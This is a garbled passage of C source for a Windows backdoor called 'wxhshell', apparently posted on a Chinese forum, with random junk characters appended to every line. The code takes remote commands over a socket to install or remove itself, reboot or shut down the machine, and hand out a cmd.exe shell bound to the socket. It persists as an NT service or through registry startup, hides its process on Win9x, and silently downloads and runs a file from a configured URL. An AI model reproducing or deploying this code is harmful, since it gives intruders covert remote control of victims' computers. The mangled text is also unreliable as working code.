  } IGu*#>h  
  // 安装 RD{jYr;  
  case 'i': { =k3QymA  
    if(Install()) m='+->O*'l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MW'z*r|,  
    else /R9>\}.y J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bTHJbpt*-  
    break; GN=F-*2  
    } %4n=qK9T 5  
  // 卸载 Z PZ1 7-  
  case 'r': { [r^f5;Z  
    if(Uninstall()) (z^2LaM `8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (:-DuUt  
    else [m}x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Ddl.9p5  
    break; *zz/U (9D  
    } ]r|.\}2Y7  
  // 显示 wxhshell 所在路径 .!)7x3|$[  
  case 'p': { BN#^ /a-  
    char svExeFile[MAX_PATH]; V!]e#QH;  
    strcpy(svExeFile,"\n\r"); -J? df  
      strcat(svExeFile,ExeFile); f4@Dn >BJ  
        send(wsh,svExeFile,strlen(svExeFile),0); {a% T <WW  
    break; &S3szhe  
    } @H7dQ, %  
  // 重启 `I6)e{5t  
  case 'b': { 2eyvY|:Q>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jWP(7}U  
    if(Boot(REBOOT)) G@,qO#5&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Szwa2IdI.  
    else { r8Gq\ ^  
    closesocket(wsh); LjxTRtB_  
    ExitThread(0); F\,3z7s  
    } Y`lC4*g  
    break; Nm\I_wjX  
    } j q1qj9KZ  
  // 关机 K")-P9I6-f  
  case 'd': { Jc{zi^)(EN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8)R )h/E>  
    if(Boot(SHUTDOWN)) (">!vz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u7a4taM$d  
    else { 9%\q*  
    closesocket(wsh);   ;h  
    ExitThread(0);  kQX,MP(  
    } G=~T)e  
    break; U%w-/!p  
    } wond>m 3  
  // 获取shell ce+\D'q[  
  case 's': { /\#qz.c2K  
    CmdShell(wsh); WGp81DNS|  
    closesocket(wsh);  0m*0I >  
    ExitThread(0); *pI3"_  
    break; 2"V?+Hhz  
  } #c?\(qjWA  
  // 退出 tw*qlbFHv  
  case 'x': { )O2^?Q quS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _NqEhf:8  
    CloseIt(wsh); "%>/rh2Iq  
    break; (VBoZP=W  
    } m[Zz(tL  
  // 离开 +yCIA\i#t6  
  case 'q': { M=0I 3o}J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TioI$?l>W(  
    closesocket(wsh); tQ=U22&7  
    WSACleanup(); ; [dcbyu@  
    exit(1); tLV9b %i(  
    break; `<\AnhNW]I  
        } .F 3v)  
  } oSy[/Y44a  
  } Kr]F+erJe  
vK2L"e  
  // 提示信息 ]u2! )vZh'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ n 7dIE  
} dc%+f  
  } wU+ofj; +I  
$?;aW^E  
  return; Kw-E%7gh4c  
} c&F"tLl  
>`s2s@Mx  
// shell模块句柄 Y.Gr(]tk  
int CmdShell(SOCKET sock) O`|'2x{[O  
{ #^Sd r-   
STARTUPINFO si; })T_D\2M  
ZeroMemory(&si,sizeof(si)); ?~u"w OH'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~}wPiu,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; roL~r`f`  
PROCESS_INFORMATION ProcessInfo; Mx$VAV^\  
char cmdline[]="cmd"; *"1]NAz+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G%rK{h  
  return 0; dos$d3B4  
} bl}$x/  
o.Q |%&1  
// 自身启动模式 <qHwY.  
int StartFromService(void) wIi(p5*  
{ QGLfZvTT  
typedef struct Cw Z{&  
{ !;fkc0&!  
  DWORD ExitStatus; DB%=/ \U  
  DWORD PebBaseAddress; S>cT(q_&  
  DWORD AffinityMask; "kf7??Z  
  DWORD BasePriority; "o[\Aec:  
  ULONG UniqueProcessId; jC; XY!d6  
  ULONG InheritedFromUniqueProcessId; vxbO>c   
}   PROCESS_BASIC_INFORMATION; 97$y,a{6  
7jEAhi!Cq(  
PROCNTQSIP NtQueryInformationProcess; 0jj }jw  
M# S:'WN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gEPCXf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .}a@OLJd  
1v,4[;{  
  HANDLE             hProcess; 63F0Za}h  
  PROCESS_BASIC_INFORMATION pbi; p[g!LD  
R,6?1Z:J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H(n_g QAX  
  if(NULL == hInst ) return 0; S }fIZ1  
c3K(mM:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @R`OAd y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  !X |Tf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @bD,^3U  
zb:p,T@5  
  if (!NtQueryInformationProcess) return 0; ^H&6'A`  
dL[mX .j"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UW)k]@L  
  if(!hProcess) return 0; L;grH5K5  
GT#iY*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bYow EzieF  
ob-be2EysH  
  CloseHandle(hProcess); 1/ j}VC  
,X9Y/S l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1gCp/m2r7  
if(hProcess==NULL) return 0; ^\Jg {9a  
8G(wYlxi  
HMODULE hMod; <qv:7@  
char procName[255]; W}JJaZR*X  
unsigned long cbNeeded; &hqGGfVsd  
Sh{odrMj*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bzB9u&  
%o*afd  
  CloseHandle(hProcess); a-8~f8na{(  
/5zzzaj {  
if(strstr(procName,"services")) return 1; // 以服务启动 uXtfP?3Vy  
#WfJz}P,!  
  return 0; // 注册表启动 .B>|>W O  
} &ec_jxF  
KRm4r  
// 主模块 BKVvu}V(o  
int StartWxhshell(LPSTR lpCmdLine) 1 5rE|m^  
{ 1~ZDHfd5  
  SOCKET wsl;  21w<8:Vg  
BOOL val=TRUE; h`Y t4-Y  
  int port=0; =:9n+7~$  
  struct sockaddr_in door; D`,@EW].  
yh lZdF  
  if(wscfg.ws_autoins) Install(); qH"0?<$9  
sOVaQ&+y  
port=atoi(lpCmdLine); !tX14O~B-  
f)N67z6  
if(port<=0) port=wscfg.ws_port; Yo(8mtYU  
?Cmb3pX^\  
  WSADATA data; .L6t3/^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -/7[_,  
}1Wo#b+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :=*>:*.Kb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,cgC_ %  
  door.sin_family = AF_INET; LOe!qt\&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vJXd{iQE@C  
  door.sin_port = htons(port); p7 2+:I  
hoSk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c|ZZ+2IYd  
closesocket(wsl); $W` &7  
return 1; |oO0%#1H  
} 1&wZJP=  
KGK8;Q,O  
  if(listen(wsl,2) == INVALID_SOCKET) { 6^|bKoN/ f  
closesocket(wsl); L{ .r8wSrI  
return 1; qWQJ>  
} QF-.")Z  
  Wxhshell(wsl); nb?bx{M  
  WSACleanup(); VO++(G)  
F~RUb&*/<  
return 0; gU+BRTZ&x  
{"4t`dM  
} <8-I:o]mF  
;zz"95X7  
// 以NT服务方式启动 7e}p:Vfp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9n@jK%m  
{ S2j7(T;~YB  
DWORD   status = 0; :!{aey  
  DWORD   specificError = 0xfffffff; sM~CP zMa  
?6uh^Qal  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :(I)+;M}P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r!Mr\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /Rt/Efu  
  serviceStatus.dwWin32ExitCode     = 0; ,9W0fm \t  
  serviceStatus.dwServiceSpecificExitCode = 0; Q5ohaxjF  
  serviceStatus.dwCheckPoint       = 0; n=hz7tjaz  
  serviceStatus.dwWaitHint       = 0; 4.??U!r>KI  
~zYp(#0op  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |bd5aRS9  
  if (hServiceStatusHandle==0) return; qJISB7F[%O  
_);1dcnR  
status = GetLastError(); h"ZF,g;a  
  if (status!=NO_ERROR) \6C"bQ  
{ G?jY>;P)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _^&oNm1  
    serviceStatus.dwCheckPoint       = 0; Or6'5e?N  
    serviceStatus.dwWaitHint       = 0; O7rm(  
    serviceStatus.dwWin32ExitCode     = status; "q]v2t  
    serviceStatus.dwServiceSpecificExitCode = specificError; n,xK7icYNQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p4aM`PW8>=  
    return; v SWqOv$  
  } ;{HxY98Q  
sH+]lTSX6{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (y(V,kXwa8  
  serviceStatus.dwCheckPoint       = 0; O\G%rp L$w  
  serviceStatus.dwWaitHint       = 0; p8F|]6Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X}p4yR7'  
} C,fIwqOr3  
6EPC$*Xp!  
// 处理NT服务事件,比如:启动、停止 y/kCzDT,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0*tEuJ7  
{ PT\5P&2o@  
switch(fdwControl) IP{Cj=  
{ xn6E f"  
case SERVICE_CONTROL_STOP: [a+?z6qI\}  
  serviceStatus.dwWin32ExitCode = 0; B /Dj2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nq6]?ZJ  
  serviceStatus.dwCheckPoint   = 0; %*jpQOw  
  serviceStatus.dwWaitHint     = 0; [Q^kO;  
  { IM +Dm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YjdH7.js  
  } UejG$JyHP  
  return; lg!1q8  
case SERVICE_CONTROL_PAUSE: LO` (V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W^y F5  
  break; kMI\GQW  
case SERVICE_CONTROL_CONTINUE: nS4~1a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Ft)VX  
  break; 2etlR  
case SERVICE_CONTROL_INTERROGATE: MN1|k  
  break; xRaYm  
}; c4; `3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hs/nM"V  
}  OSSMIPr  
+;*])N%q  
// 标准应用程序主函数 &/7GhZRt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kdoE)C   
{ lezdJ  
<BO|.(ys  
// 获取操作系统版本 LW2Sko?Yo  
OsIsNt=GetOsVer(); 1) @Wcc.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [&Qrk8EN  
!XtbZ-  
  // 从命令行安装 S++}kR);  
  if(strpbrk(lpCmdLine,"iI")) Install(); y:v0& 9L  
~u3I=b  
  // 下载执行文件 *, {b]6v  
if(wscfg.ws_downexe) { wef QmRK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G=b`w;oL:  
  WinExec(wscfg.ws_filenam,SW_HIDE); gzC\6ca  
} @V<tg"(c  
>\@6i s  
if(!OsIsNt) { wuh$=fya  
// 如果时win9x,隐藏进程并且设置为注册表启动 =-vk}O0C  
HideProc(); QU417EV'  
StartWxhshell(lpCmdLine); 6aj)Fe'2  
} Yq2 mVo  
else HD`Gi0  
  if(StartFromService()) {yfG_J  
  // 以服务方式启动 0|NbU  
  StartServiceCtrlDispatcher(DispatchTable); /,B"H@ J  
else Fd ]! 7  
  // 普通方式启动 /i$&89yod  
  StartWxhshell(lpCmdLine); 17nWrTxR$  
#H5*]"w6I  
return 0; y.mojx%?a  
}
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只看该作者 1 发表于: 2006-10-10
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